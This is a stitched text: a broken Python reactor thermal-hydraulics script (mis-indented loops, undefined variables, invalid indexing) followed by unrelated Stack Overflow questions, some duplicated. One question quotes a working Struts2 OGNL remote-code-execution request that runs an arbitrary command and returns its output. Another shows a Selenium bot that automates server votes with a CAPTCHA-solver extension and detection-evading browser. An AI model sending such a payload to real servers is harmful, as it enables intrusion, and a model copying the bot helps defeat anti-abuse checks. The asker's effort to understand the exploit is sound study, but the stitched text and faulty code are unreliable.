    Pitch = 1.63 * 10 ** (-2)  # m
    Gap_t = 0.0001  # m
    D_fuel = 0.0104  # m
    k_gap = 0.25  # W/m-K
    k_c = 21.5  # W/m-K
    k_fuel = 3.6  # W/m-K
    T0 = float(274 + 273.15)  # K
    q0_prime = float(410 * 10 ** (2))  # W/m
    P0 = 7.5  # MPa
    MF = float(2290)  # kg/m^2-s
    D_rod = .0123  # m
    R_rod = D_rod / 2
    R_fuel = D_fuel / 2
    R_gap = R_fuel + Gap_t
    R_clad = R_rod
    Clad_t = D_rod - D_fuel - Gap_t  # m
    h0_enthalpy = (IAPWS97(T=T0, P=P0).h) * 10 ** (3)
    T_sat0 = IAPWS97(P=P0, x=0).T
    g = 9.81  # m/s

    # geometry properties
    heated_p = math.pi * D_rod
    wetted_p = math.pi * D_rod
    A_f = (Pitch ** 2) - ((1 / 4) * math.pi * (D_rod ** 2))
    D_H = (4 * A_f) / heated_p

    # grid setup
    grid_points = 100
    dz = H / grid_points
    z_array = np.arange(0, H, dz)
    z_arrayplots = np.arange(-H / 2, H / 2, dz)
    q_HeatFluxList = []

    # defining array of q'' values in list
    for z in z_array:
        heat_fluxA = (q0_prime / (math.pi * D_rod)) * math.sin(math.pi * (z / He))
        q_HeatFluxList.append(heat_fluxA)

    q_heat_flux = np.array(q_HeatFluxList)

    q_prime = np.zeros(len(z_array))

    for i in range(0, len(z_array)):
        q_prime[i] = q0_prime * math.sin((np.pi * z_array[i]) / He)

    # defining array of h values
    h_enthalpy_list = []
    h_enthalpy_prefactor = ((heated_p * q0_prime * H) / (A_f * MF * (math.pi ** 2) * D_rod))
    for z in z_array:
        h_enthalpy = (-h_enthalpy_prefactor * math.cos(math.pi * (z / He))) + h_enthalpy_prefactor + h0_enthalpy
        h_enthalpy_list.append(h_enthalpy)

    h_enthalpy_array_J = np.array(h_enthalpy_list)
    h_enthalpy_array = h_enthalpy_array_J * 10 ** (-3)

    P_array = np.zeros(len(z_array))
    P_array[0] = P0

    T_sat = np.zeros(len(z_array))
    T_sat[0] = T_sat0

    T_f_array = np.zeros(len(z_array))
    T_f_array[0] = T0

    Re = np.zeros(len(z_array))
    Re_f = np.zeros(len(z_array))
    Pr = np.zeros(len(z_array))

    k_fluid = np.zeros(len(z_array))

    x_array = np.zeros(len(z_array))
    xe_array = np.zeros(len(z_array))
    dxe_array = np.zeros(len(z_array))

    frictional = np.zeros(len(z_array))
    gravitational = np.zeros(len(z_array))
    compressibility = np.zeros(len(z_array))

    alpha_array = np.zeros(len(z_array))

    # Pressure Loop BWR
    dp = 0.001
    for i in range(0, len(z_array) - 1):
        rho_f = IAPWS97(P=P_array[i], x=0).rho
        rho_m = IAPWS97(P=P_array[i], x=xe_array[i]).rho
        vf = IAPWS97(P=P_array[i], x=0).v
        vg = IAPWS97(P=P_array[i], x=1).v
        vfg = vg - vf
        hf_enthalpy = IAPWS97(P=P_array[i], x=0).h
        hg_enthalpy = IAPWS97(P=P_array[i], x=1).h
        hfg = hg_enthalpy - hf_enthalpy
        hfg_sat = IAPWS97(P=P0, x=1).h - IAPWS97(P=P0, x=0).h
        # vf = IAPWS97(P=P_array[i], x=0).v
        # vg_sat = IAPWS97(P=P_array[i], x=1).v
        hf_in = IAPWS97(P=P0, T=T0).h
        muf = (IAPWS97(P=P_array[i], x=0).mu) * 10 ** (-6)
        mum = (IAPWS97(P=P_array[i], x=xe_array[i]).mu) * 10 ** (-6)
        mug = (IAPWS97(P=P_array[i], x=1).mu) * 10 ** (-6)
        k_fluid[i] = IAPWS97(P=P_array[i], T=T_f_array[i]).k
        Pr[i] = IAPWS97(P=P_array[i], h=h_enthalpy_array[i]).Liquid.Prandt
        xe_in = (hf_in - hf_enthalpy) / (hfg)
        vf_sat = IAPWS97(P=P_array[i], x=xe_array[i])

    # vapor quality

    if xe_array[i] <= 0:  # single phase
        Re1p = MF * D_rod / muf
        f1p = 0.316 * Re1p ** (-.25)
        dp = -(.5 * f1p * MF * 2 * heated_p / (rho_f * A_f) + g / rho_f) * dz

        x_array[i] = 0
        dxe_array[i] = q0_prime * np.sin(np.pi * z_array[i] / H) / (MF * A_f * hfg_sat) * dz
        xe_array = xe_array[i - 1] + dxe_array[i]
        # P_array[i]=P[i-1]+dp1p

    elif xe_array[i] > 0 and xe_array[i] < 1:  # 2 phase
        Re2p = MF * D_rod / mum
        f2p = 0.046 * Re2p ** (-.2) * (muf / mum ** (-.2))
        dp2p = (-MF ** 2 * vfg * dxe_array[i] + .5 * f2p * MF ** 2 * heated_p / (rho_m * A_f) + g * rho_m) * dz
        xe_array[i] = (h_enthalpy_array[i] - hf_enthalpy) / (hg_enthalpy - hf_enthalpy)

    # Void Fraction

    if xe_array[i] <= 0:
        alpha_array[0]

    elif xe_array[i] > 0 and xe_array[i] < 1:
        x_array[i] = xe_array[i]
        vfg_sat = vg - vf
        rho_m = (vf_sat + vfg_sat * x_array) ** (-1)
        rhof = 1 / vf
        rhog = 1 / vg
        void = (rho_m - rhof) / (rhog - rhof)
        alpha_array[void]
        print("Void fraction is " + str(np.amax(alpha_array)))

    if xe_array[i] <= 0:
        alpha_array[0]
    elif xe_array[i] > 0 and xe_array[i] < 1:
        x_array[i] = xe_array[i]
        vfg_sat = vg - vf
        rho_m = (vf_sat + vfg_sat * x_array) ** (-1)
        rhof = 1 / vf
        rhog = 1 / vg
        void = (rho_m - rhof) / (rhog - rhof)
        alpha_array[void]
        print("Void fraction is " + str(np.amax(alpha_array)))

        rho_m = 1 / ((x_array[i] * vg) + ((1 - x_array[i]) * vf))
        mu_m = 1 / ((x_array[i] / mug) + ((1 - x_array[i]) / muf))

        Re[i] = (MF * D_H) / (mu_m * 10 ** 6)  # convert mu to Pa/s
        f = 0.079 * (Re[i] ** -0.25) * (mu_m / muf)
        Tau = (1 / 2) * f * ((MF ** 2) / rho_m)

        Re_f[i] = Re[i]

        vf_plus_dP = IAPWS97(P=P_array[i] + dp, x=xe_array[i]).v
        vf_minus_dP = IAPWS97(P=P_array[i] - dp, x=xe_array[i]).v

        ddP_vf = (vf_plus_dP - vf_minus_dP) / (2 * (dp * 10 ** 6))

        frictional[i] = (Tau * wetted_p) / A_f
        gravitational[i] = g * rho_f
        compressibility[i] = (MF ** 2) * (ddP_vf)

        dPdz_num = (frictional[i] + gravitational[i])  # Pa/m
        dPdz_denom = 1 + compressibility[i]  # Pa/m
        dPdz = -dPdz_num / dPdz_denom  # Pa/m

        P_array[i + 1] = P_array[i] + ((dPdz * dz) * 10 ** (-6))
        T_f_array[i + 1] = IAPWS97(P=P_array[i + 1], h=h_enthalpy_array[i + 1]).T
        T_sat[i + 1] = IAPWS97(P=P_array[i + 1], x=0).T

    # final calc for final value of quality and void fraction because loop stops before these
    hf_final = IAPWS97(P=P_array[-1], x=0).h
    hg_final = IAPWS97(P=P_array[-1], x=1).h
    muf_final = (IAPWS97(P=P_array[-1], x=0).mu) * 10 ** (-6)
    mug_final = (IAPWS97(P=P_array[-1], x=1).mu) * 10 ** (-6)
    k_fluid[-1] = IAPWS97(P=P_array[-1], T=T_f_array[-1]).k

    xe_array[-1] = (h_enthalpy_array[-1] - hf_final) / (hg_final - hf_final)

    # fuel and clad temps
    T_C_Outer = np.zeros(len(z_array))

    mu_m_final = 1 / ((x_array[-1] / mug_final) + ((1 - x_array[-1]) / muf_final))

    Re_f[-1] = (MF * D_H) / (muf_final * 10 ** 6)

    Pr[-1] = IAPWS97(P=P_array[i], h=h_enthalpy_array[i]).Liquid.Prandt

    h_HT = 0.023 * (Re_f[0] ** 0.8) * (Pr[0] ** 0.4) * (k_fluid[0] / D_H)

    T_C_Outer[0] = (q_heat_flux[0] + (h_HT * T_f_array[0])) / h_HT

    for i in range(0, len(z_array) - 1):
        h_HT = 0.023 * (Re_f[i + 1] ** 0.8) * (Pr[i + 1] ** 0.4) * (k_fluid[i + 1] / D_H)
        T_C_Outer[i + 1] = (q_heat_flux[i + 1] + (h_HT * T_f_array[i + 1])) / h_HT

    q_triple_prime = (q_prime * 4) / (np.pi * (D_fuel ** 2))

    T_C_Inner = np.zeros(len(z_array))
    T_F_Outer = np.zeros(len(z_array))
    T_F_Center = np.zeros(len(z_array))

    for i in range(0, len(z_array)):
        C1 = -((q0_prime * R_clad) / (k_c * heated_p)) * np.sin(np.pi * (z_array[i] / H))
        C2 = T_C_Outer[i] - (C1 * np.log(R_clad))

        T_C_Inner[i] = (C1 * np.log(R_gap)) + C2

        C3 = (k_c / k_gap) * C1
        C4 = T_C_Inner[i] - (C3 * np.log(R_gap))

        T_F_Outer[i] = (C3 * np.log(R_fuel)) + C4

        C6 = T_F_Outer[i] + ((q_triple_prime[i] * (R_fuel ** 2)) / (4 * k_fuel))

        T_F_Center[i] = C6

    CL_max = np.amax(T_F_Center)
    index = np.where(T_F_Center == CL_max)
    z_CL_max = z_array[index]

    plt.figure(1)
    plt.plot(T_C_Outer, z_arrayplots, label='Clad Outer Surface Temp')
    plt.plot(T_C_Inner, z_arrayplots, label='Clad Inner Surface Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempCladBWR.png", dpi=600)

    plt.figure(2)
    plt.plot(T_C_Outer, z_arrayplots, label='Clad Outer Surface Temp')
    plt.plot(T_C_Inner, z_arrayplots, label='Clad Inner Surface Temp')
    plt.plot(T_F_Outer, z_arrayplots, label='Fuel Outer Surface Temp')
    plt.plot(T_F_Center, z_arrayplots, label='Fuel Centerline Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempFuelAndCladBWR.png", dpi=600)

    # radial calcs
    T_array_A = [T_F_Center[25], T_F_Outer[25], T_C_Inner[25], T_C_Outer[25]]
    T_array_B = [T_F_Center[49], T_F_Outer[49], T_C_Inner[49], T_C_Outer[49]]
    T_array_C = [T_F_Center[53], T_F_Outer[53], T_C_Inner[53], T_C_Outer[53]]
    r_array = [0, R_fuel, R_gap, R_clad]

    plt.figure(3)
    plt.plot(r_array, T_array_A, label='z = -H/4 = -0.9 m')
    plt.plot(r_array, T_array_B, label='z = 0 m')
    plt.plot(r_array, T_array_C, '--', label='z = zmax = 0.108 m')
    plt.legend(loc='upper left')
    plt.ylabel("Temperature [K]")
    plt.xlabel("Radius r [m]")
    plt.savefig("TempRadialBWR.png", dpi=600)

    # critical heat flux and DNBR

    P_array_DNBR = np.delete(P_array, 0)
    q_heat_flux_DNBR = np.delete(q_heat_flux, 0)
    z_arrayplots_DNBR = np.delete(z_arrayplots, 0)

    G_Mlbs = MF * (((2.20462 * 10 ** (-6)) * 3600) / 10.7639)

    q_heat_flux_MBtu = q_heat_flux[1:] * 3.41 * (1 / 1000000) * (1 / 10.7639)

    P_c = 22.064  # https://nuclearstreet.com/nuclear-power-plants/w/nuclear_power_plants/features-of-pressurized-water-reactors
    P_crit = P_array_DNBR / P_c
    P1 = 0.5328
    P2 = 0.1212
    P3 = 1.6151
    P4 = 1.4066
    P5 = -0.3040
    P6 = 0.4843
    P7 = -0.3285
    P8 = -2.0749

    A = P1 * (P_crit ** P2) * (G_Mlbs ** (P5 + (P7 * P_crit)))
    C = P3 * (P_crit ** P4) * (G_Mlbs ** (P6 + (P8 * P_crit)))

    q_crit_heat_flux_MBtu = (A - xe_array[0]) / (C + ((xe_array[1:] - xe_array[0]) / q_heat_flux_MBtu))

    q_crit_heat_flux = q_crit_heat_flux_MBtu * (1 / 3.41) * 1000000 * 10.7639

    DNBR = q_crit_heat_flux / q_heat_flux_DNBR

    plt.figure(4)
    plt.plot(DNBR, z_arrayplots_DNBR)
    plt.xlabel("Onset of Nucleate Boiling Ratio")
    plt.ylabel("Height z [m]")
    plt.title("Onset of Nucleate Boiling Ratio versus Height")
    plt.savefig("ONBR.png", dpi=600)

    plt.figure(5)
    plt.plot(P_array, z_arrayplots)
    plt.xlabel('Pressure [MPa]')
    plt.ylabel('Height z [m]')
    plt.title('Pressure versus Height')
    plt.savefig("PressureBWR.png", dpi=600)

    plt.figure(6)
    plt.plot(T_f_array, z_arrayplots)
    plt.xlabel('Temperature [K]')
    plt.ylabel('Height z [m]')
    plt.title('Coolant Temperature vs Height')
    plt.savefig("TempBulkBWR.png", dpi=600)

    plt.figure(7)
    plt.plot(T_F_Outer, z_arrayplots, label='Fuel Outer Surface Temp')
    plt.plot(T_F_Center, z_arrayplots, label='Fuel Centerline Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempFuelBWR.png", dpi=600)

    # density
    plt.figure(8)
    plt.plot(Density, z_arrayplots, label='Density')
    plt.legend(loc='upper left')
    plt.xlabel("Pressure [mPa]")
    plt.ylabel("Height z [m]")
    plt.savefig("Density", dpi=600)

    # quality
    plt.figure(9)
    plt.plot(x, z_arrayplots, label='Quality')
    plt.plot(xe, z_arrayplots, label='Quality')
    plt.legend(loc='upper left')
    plt.xlabel("Quality")
    plt.ylabel("Height z [m]")
    plt.savefig("Quality", dpi=600)

    # void
    plt.figure(10)
    plt.plot(alpha, z_arrayplots, label='Void Fraction')
    plt.legend(loc='upper left')
    plt.xlabel("Void Fraction")
    plt.ylabel("Height z [m]")
    plt.savefig("Void Fraction", dpi=600)

    tempdifference = T_C_Outer - T_f_array
    print("Max clad vs bulk difference is " + str(np.amax(tempdifference)) + " C")
    print("Max coolant temp is " + str(np.amax(T_f_array) - 273.15) + " C")
    print("Max coolant temp is " + str(np.amax(T_f_array)) + " K")
    print("Max clad temp is " + str(np.amax(T_C_Inner) - 273.15) + " C")
    print("Max clad temp is " + str(np.amax(T_C_Inner)) + " K")
    print("Max fuel temp is " + str(np.amax(T_F_Center) - 273.15) + " C")
    print("Max fuel temp is " + str(np.amax(T_F_Center)) + " K")
    print("Max fuel temp is " + str(np.amax(T_F_Outer) - 273.15) + " C")
    print("Max fuel temp is " + str(np.amax(T_F_Outer)) + " K")
    print("Max centerline temp occurs at z = " + str(z_CL_max) + "m")
    MDNBR = np.amin(DNBR)
    print("MDNBR is " + str(MDNBR))


问:
Can run simple Script with PowerShell, but task scheduler doesn't?
I created a simple PowerShell script to copy items from a remote location to my google drive, the script runs using the option run with PowerShell.

```<code>Get-ChildItem "\\myipaddress\Exports" -Recurse -Filter F7104016E30A0465* |
  Copy-Item -Destination "G:\My Drive\storage" -Force
</code>```

However I am trying to automate the script with task scheduler to run it daily and it is not copy the file into the destination folder. the task does not show an error.

in action tab I select start program and add argument: -ExecutionPolicy Bypass -File C:\test\script.ps1, there is not error on the log but it doesn't show incremental (1 file) in the google drive.

Body:
I created a simple PowerShell script to copy items from a remote location to my google drive, the script runs using the option run with PowerShell.

Get-ChildItem "\\myipaddress\Exports" -Recurse -Filter F7104016E30A0465* |
  Copy-Item -Destination "G:\My Drive\storage" -Force

However I am trying to automate the script with task scheduler to run it daily and it is not copy the file into the destination folder. the task does not show an error.

in action tab I select start program and add argument: -ExecutionPolicy Bypass -File C:\test\script.ps1, there is not error on the log but it doesn't show incremental (1 file) in the google drive.


问:
Why does my WiFi connection become slow when I connect my Bluetooth speaker on Ubuntu 22.04 LTS?
I tried disconnecting my Bluetooth speaker, then everything works fine but whenever the Bluetooth speaker is connected the WiFi becomes so slow that I barely can use the internet.

Disconnecting the Bluetooth speaker fixes it but I need to connect my Bluetooth speaker as well.


问:
Forecasting in R with arimax
I am trying to run a forecast of bitcoin returns with the sentiment score of twitter. However, after running the following code I get a plot for the forecast but with just a horizaontal line. Seems weird, since it does not go up or down. This is my code prior the forecasting:

```<code>adf.test(BTC_USD_data$total_score)
ggAcf(BTC_USD_data$total_score)
ggPacf(BTC_USD_data$total_score)

#Bitcoin returns
adfTest(BTC_USD_data$return)
plot(BTC_USD_data$return)

ggAcf(BTC_USD_data$return)
ggPacf(BTC_USD_data$return)

m1 <- auto.arima(BTC_USD_data$return, xreg = BTC_USD_data$total_score, trace = TRUE, seasonal = FALSE, stepwise = FALSE, approximation = FALSE)
#4,0,0
summary(m1)
autoplot(m1)

checkresiduals(m1)

test(resid(m1))
</code>```

adf.test of BTC_USD_data$total_score is:

```<code>Warning: p-value smaller than printed p-value
    Augmented Dickey-Fuller Test

data:  BTC_USD_data$total_score
Dickey-Fuller = -8.7682, Lag order = 23, p-value = 0.01
alternative hypothesis: stationary
</code>```

ACF and PACF for the total_score are:

The summary of the first auto.arima model m1 is:

```<code>Series: BTC_USD_data$return
Regression with ARIMA(4,0,0) errors

Coefficients:
          ar1      ar2     ar3      ar4  intercept  xreg
      -0.0057  -0.0233  0.0003  -0.0364      2e-04     0
s.e.   0.0089   0.0088  0.0091   0.0095      1e-04     0

sigma^2 = 7.837e-05:  log likelihood = 43352.11
AIC=-86690.21   AICc=-86690.21   BIC=-86637.85

Training set error measures:
                        ME        RMSE         MAE  MPE MAPE      MASE          ACF1
Training set -2.397527e-07 0.008850779 0.005827579 -Inf  Inf 0.6825662 -0.0001918203
</code>```

The autoplot for the first model from the auto.arima is

Then I just a train part and a test part for BTC and also the xreg(tweets sentiment total score).
Eventually running the auto.arima on the train part and forecasting. However, before doing that I made a new time series with only containing the total score of a tweet and the return on that time. :

```<code>BTC_tweets_df <- as.data.frame(cbind(BTC_USD_data$return, BTC_USD_data$total_score))
colnames(BTC_tweets_df) <- c("return", "total_score")

BTC_TS <- ts(BTC_tweets_df, frequency = 60 , start = c(2021, 12), end = c(2022, 06))

btc_train <- window(BTC_TS, end = c(2022, 01))
btc_test <- window(BTC_TS, start = c(2022, 01))

forecastbtc <- forecast(arimabtc_train, xreg = rep(btc_test), 2)
autoplot(forecastbtc)
</code>```

This results in the following autoplot of the forecast:

The forecast does not seem to be legitimate. Either I am doing something wrong, or something else is going on. Anyone an idea?

Title: Forecasting in R with arimax

Body:
I am trying to run a forecast of bitcoin returns with the sentiment score of twitter. However, after running the following code I get a plot for the forecast but with just a horizaontal line. Seems weird, since it does not go up or down. This is my code prior the forecasting:

adf.test(BTC_USD_data$total_score)
ggAcf(BTC_USD_data$total_score)
ggPacf(BTC_USD_data$total_score)

#Bitcoin returns
adfTest(BTC_USD_data$return)
plot(BTC_USD_data$return)

ggAcf(BTC_USD_data$return)
ggPacf(BTC_USD_data$return)

m1 <- auto.arima(BTC_USD_data$return, xreg = BTC_USD_data$total_score, trace = TRUE, seasonal = FALSE, stepwise = FALSE, approximation = FALSE)
#4,0,0
summary(m1)
autoplot(m1)

checkresiduals(m1)

test(resid(m1))

adf.test of BTC_USD_data$total_score is:

Warning: p-value smaller than printed p-value
    Augmented Dickey-Fuller Test

data:  BTC_USD_data$total_score
Dickey-Fuller = -8.7682, Lag order = 23, p-value = 0.01
alternative hypothesis: stationary

ACF and PACF for the total_score are:

The summary of the first auto.arima model m1 is:

Series: BTC_USD_data$return
Regression with ARIMA(4,0,0) errors

Coefficients:
          ar1      ar2     ar3      ar4  intercept  xreg
      -0.0057  -0.0233  0.0003  -0.0364      2e-04     0
s.e.   0.0089   0.0088  0.0091   0.0095      1e-04     0

sigma^2 = 7.837e-05:  log likelihood = 43352.11
AIC=-86690.21   AICc=-86690.21   BIC=-86637.85

Training set error measures:
                        ME        RMSE         MAE  MPE MAPE      MASE          ACF1
Training set -2.397527e-07 0.008850779 0.005827579 -Inf  Inf 0.6825662 -0.0001918203

The autoplot for the first model from the auto.arima is

Then I just a train part and a test part for BTC and also the xreg(tweets sentiment total score).
Eventually running the auto.arima on the train part and forecasting. However, before doing that I made a new time series with only containing the total score of a tweet and the return on that time. :

BTC_tweets_df <- as.data.frame(cbind(BTC_USD_data$return, BTC_USD_data$total_score))
colnames(BTC_tweets_df) <- c("return", "total_score")

BTC_TS <- ts(BTC_tweets_df, frequency = 60 , start = c(2021, 12), end = c(2022, 06))

btc_train <- window(BTC_TS, end = c(2022, 01))
btc_test <- window(BTC_TS, start = c(2022, 01))

forecastbtc <- forecast(arimabtc_train, xreg = rep(btc_test), 2)
autoplot(forecastbtc)

This results in the following autoplot of the forecast:

The forecast does not seem to be legitimate. Either I am doing something wrong, or something else is going on. Anyone an idea?


问:
Excel VBA Listbox does not react to Filter
I want to display filtered values of a column in a Listbox but the content of the Listbox is not shown correctly and not updated according to the filter content. Here is the problem step by step:

I want to display the following filtered column:

in Worksheet "MatrixOfVariants" as content of a Listbox in Worksheet "Variant result"
of which later a selected entry is to be processed in a predefined cell ("N7") of the worksheet "Variant result". I chose this Listbox

How I am referring to the list content is shown underneath:

The output in the Listbox should only contain the values 45 through 61.7 but looks as follows:

Interestingly graphical data diagrams linked to the same filter 1 get updated immediately without any problem.

Any ideas why the Listbox content isn't updated? Or any suggestions for workarounds?


问:
click event button in Python
I have very simple program in Python

```<code>from tkinter import *
pro=Tk()
pro.geometry('500x500')
def click():
    print('clicked')
bt=Button(text="click",bg='blue',command=click)
bt.pack()
pro.mainloop()
</code>```

this program print 'clicked' when I click on button , How can I print 'clicked' as long as I click on button continuously

I try to use some properties of buttons , but I didn't success

Title: click event button in Python

Body:
I have very simple program in Python

from tkinter import *
pro=Tk()
pro.geometry('500x500')
def click():
    print('clicked')
bt=Button(text="click",bg='blue',command=click)
bt.pack()
pro.mainloop()

this program print 'clicked' when I click on button , How can I print 'clicked' as long as I click on button continuously

I try to use some properties of buttons , but I didn't success


问:
Insert data to mssql in partitions
I'm trying to load a large zip file into mssql in partitions with this code:

```<code>import sqlalchemy
import dask.dataframe as skk

file = r"//tb-swd/DISK_C/xs/Details.2022-12-05.log.zip"

df = skk.read_csv(file, sep='\t')

dff = df.repartition(npartitions = 15)

for i in range(dff.npartitions):
    u = dff.partitions[i].rename(columns={dff.partitions[i].columns[0]: 'Operation'})
    g = u["Operation"].str.contains("xOrder|yOrder|zOrder")
    u[g].to_sql('testDetailspy', uri="mssql://d-dbGars/DaskDB?driver=SQL+Server", parallel = True, if_exists="append", index=False)
</code>```

but unfortunately it did not reduce the RAM consumption for this operation - I get better result by loading data in 1 partition instead of 15. Can someone help explain why?

Title: Insert data to mssql in partitions

Body:
I'm trying to load a large zip file into mssql in partitions with this code:

import sqlalchemy
import dask.dataframe as skk

file = r"//tb-swd/DISK_C/xs/Details.2022-12-05.log.zip"

df = skk.read_csv(file, sep='\t')

dff = df.repartition(npartitions = 15)

for i in range(dff.npartitions):
    u = dff.partitions[i].rename(columns={dff.partitions[i].columns[0]: 'Operation'})
    g = u["Operation"].str.contains("xOrder|yOrder|zOrder")
    u[g].to_sql('testDetailspy', uri="mssql://d-dbGars/DaskDB?driver=SQL+Server", parallel = True, if_exists="append", index=False)

but unfortunately it did not reduce the RAM consumption for this operation - I get better result by loading data in 1 partition instead of 15. Can someone help explain why?


问:
The CSS property 'position' doesn't work on ConvertAPI
I use the html to PDF conversion via PHP integration with ConvertAPI.

Since 2022/12/07 i'm having troubles with 'position' CSS property.

All of my templates that are converted are fully based on 'position: absolute;'.

Now all the elements are concentrated on the the first page, no longer positioned by template pages as it always worked.

These are the properties that I use in the request

```<code>$result = ConvertApi::convert('pdf', [
        'File' => $file,
        'ViewportWidth' => '1200',
        'ViewportHeight' => '1554',
        'PageRange' => '1-' . $page_numbers,
        'MarginTop' => '0',
        'MarginRight' => '0',
        'MarginBottom' => '0',
        'MarginLeft' => '0',
    ], 'html'
);
</code>```

I already tried to use the 'FixedElements' property from ConvertAPI, but none of options changed anything, as if the parameter was not working.

Body:
I use the html to PDF conversion via PHP integration with ConvertAPI.

Since 2022/12/07 i'm having troubles with 'position' CSS property.

All of my templates that are converted are fully based on 'position: absolute;'.

Now all the elements are concentrated on the the first page, no longer positioned by template pages as it always worked.

These are the properties that I use in the request

$result = ConvertApi::convert('pdf', [
        'File' => $file,
        'ViewportWidth' => '1200',
        'ViewportHeight' => '1554',
        'PageRange' => '1-' . $page_numbers,
        'MarginTop' => '0',
        'MarginRight' => '0',
        'MarginBottom' => '0',
        'MarginLeft' => '0',
    ], 'html'
);

I already tried to use the 'FixedElements' property from ConvertAPI, but none of options changed anything, as if the parameter was not working.


问:
How to change a deleted/untracked file to a git mv?
I reset the top of my local git branch.  In that check-in I moved a file using git mv, now it shows that the file has been removed and the file is located in the untracked file list.

If I readd the file and check it in, will it think that it's a move or just a delete and a newly added file?  If so, how would I easily move it?  Do I have to move the file back to its original location and then do a git mv again?


问:
What will be outputted and what logic executed from this Java code sent to an Apache Struts server?
I am trying to understand the Java within this HTTP request related to remote code execution of an older Struts2 framework vulnerability.

I get the basics of the Java objects/classes/methods in use, but am unsure of what the output of this program would actually be. Would this output anything? What data would be stored in the "#d array?

My apologies if this question does not belong here.

GET request:

GET /?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#a=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[4096],#c.read(#d),#zz=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#zz.println(#d),#zz.close&command=expr 268409241 - 92738


问:
Unable to locate a button
i want to click on a cookie button but i cant, i try to see if there is any iframe but there is not. Tank you for anyone who help me! Here is the site : https://serveur-prive.net/minecraft/hiveria-13093/vote
my code :

```<code>import random
import string
import time

from selenium import webdriver
from selenium.webdriver.support.ui import Select
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.options import Options
from selenium.webdriver import ActionChains
import undetected_chromedriver as uc
from selenium.webdriver.common.by import By
from colorama import Fore

# driver_options
def main():
    chrome_options = uc.ChromeOptions()
    chrome_options.add_argument("start-maximized")

    chrome_options.add_extension("NopeCHA-CAPTCHA-Solver.crx")
    chrome_options.add_extension("C:/Users/Alban/PycharmProjects/Programming/NopeCHA-CAPTCHA-Solver.crx")
    chrome_options.add_argument(
        "user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36")
    print(Fore.LIGHTBLACK_EX + "################### " + Fore.LIGHTBLUE_EX
          + "Auto Vote Hiveria" + Fore.LIGHTBLACK_EX + " ###################")
    print(Fore.LIGHTBLACK_EX + "                      Version 1.0")
    print()
    pseudo = input("Pseudonyme Minecraft : ")

    driver = uc.Chrome(options=chrome_options, version_main=108)

    driver.get('https://www.hiveria.fr/vote')
    time.sleep(5)
    driver.implicitly_wait(8)
    driver.find_element(By.XPATH, '//*[@id="stepNameInput"]').send_keys(pseudo)
    driver.find_element(By.XPATH, '//*[@id="voteNameForm"]/button').click()
    driver.implicitly_wait(2)

    # vote 1
    time.sleep(4)
    driver.implicitly_wait(6)
    driver.find_element(By.XPATH, '//*[@id="vote-card"]/div[3]/div[1]/a').click()
    time.sleep(13811)
    WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[2]/div[2]/div[1]/div[2]/div[2]/button[1]'))).click()
    time.sleep(8.5)

    # vote 2
    #driver.find_element(By.XPATH, '//*[@id="vote-card"]/div[3]/div[2]/a').click()
    #driver.implicitly_wait(4)
    #time.sleep(8.5)
    #driver.find_element(By.XPATH, '//*[@id="main-content"]/div[1]/input[2]').send_keys(pseudo)
    #driver.find_element(By.XPATH, '//*[@id="main-content"]/button').click()
    #driver.switch_to.window(driver.window_handles[0])

    driver.implicitly_wait(3)
    # vote 3
    #driver.find_element(By.XPATH, '//*[@id="vote-card"]/div[3]/div[3]/a').click()
    #driver.implicitly_wait(5)
    #driver.find_element(By.XPATH, '//*[@id="pseudo"]').send_keys(pseudo)
    #driver.find_element(By.XPATH, '//*[@id="vote-button-action"]').click()

    time.sleep(1000)
if __name__ == '__main__':
    # freeze_support() here if program needs to be frozen
    main()
</code>```

screenshot:

screenshot before entering the site, button text is 'serveur-prive.net':

Title: Unable to locate a button

Body:
i want to click on a cookie button but i cant, i try to see if there is any iframe but there is not. Tank you for anyone who help me! Here is the site : https://serveur-prive.net/minecraft/hiveria-13093/vote
my code :

import random
import string
import time

from selenium import webdriver
from selenium.webdriver.support.ui import Select
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.options import Options
from selenium.webdriver import ActionChains
import undetected_chromedriver as uc
from selenium.webdriver.common.by import By
from colorama import Fore

# driver_options
def main():
    chrome_options = uc.ChromeOptions()
    chrome_options.add_argument("start-maximized")

    chrome_options.add_extension("NopeCHA-CAPTCHA-Solver.crx")
    chrome_options.add_extension("C:/Users/Alban/PycharmProjects/Programming/NopeCHA-CAPTCHA-Solver.crx")
    chrome_options.add_argument(
        "user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36")
    print(Fore.LIGHTBLACK_EX + "################### " + Fore.LIGHTBLUE_EX
          + "Auto Vote Hiveria" + Fore.LIGHTBLACK_EX + " ###################")
    print(Fore.LIGHTBLACK_EX + "                      Version 1.0")
    print()
    pseudo = input("Pseudonyme Minecraft : ")

    driver = uc.Chrome(options=chrome_options, version_main=108)

    driver.get('https://www.hiveria.fr/vote')
    time.sleep(5)
    driver.implicitly_wait(8)
    driver.find_element(By.XPATH, '//*[@id="stepNameInput"]').send_keys(pseudo)
    driver.find_element(By.XPATH, '//*[@id="voteNameForm"]/button').click()
    driver.implicitly_wait(2)

    # vote 1
    time.sleep(4)
    driver.implicitly_wait(6)
    driver.find_element(By.XPATH, '//*[@id="vote-card"]/div[3]/div[1]/a').click()
    time.sleep(13811)
    WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[2]/div[2]/div[1]/div[2]/div[2]/button[1]'))).click()
    time.sleep(8.5)

    # vote 2
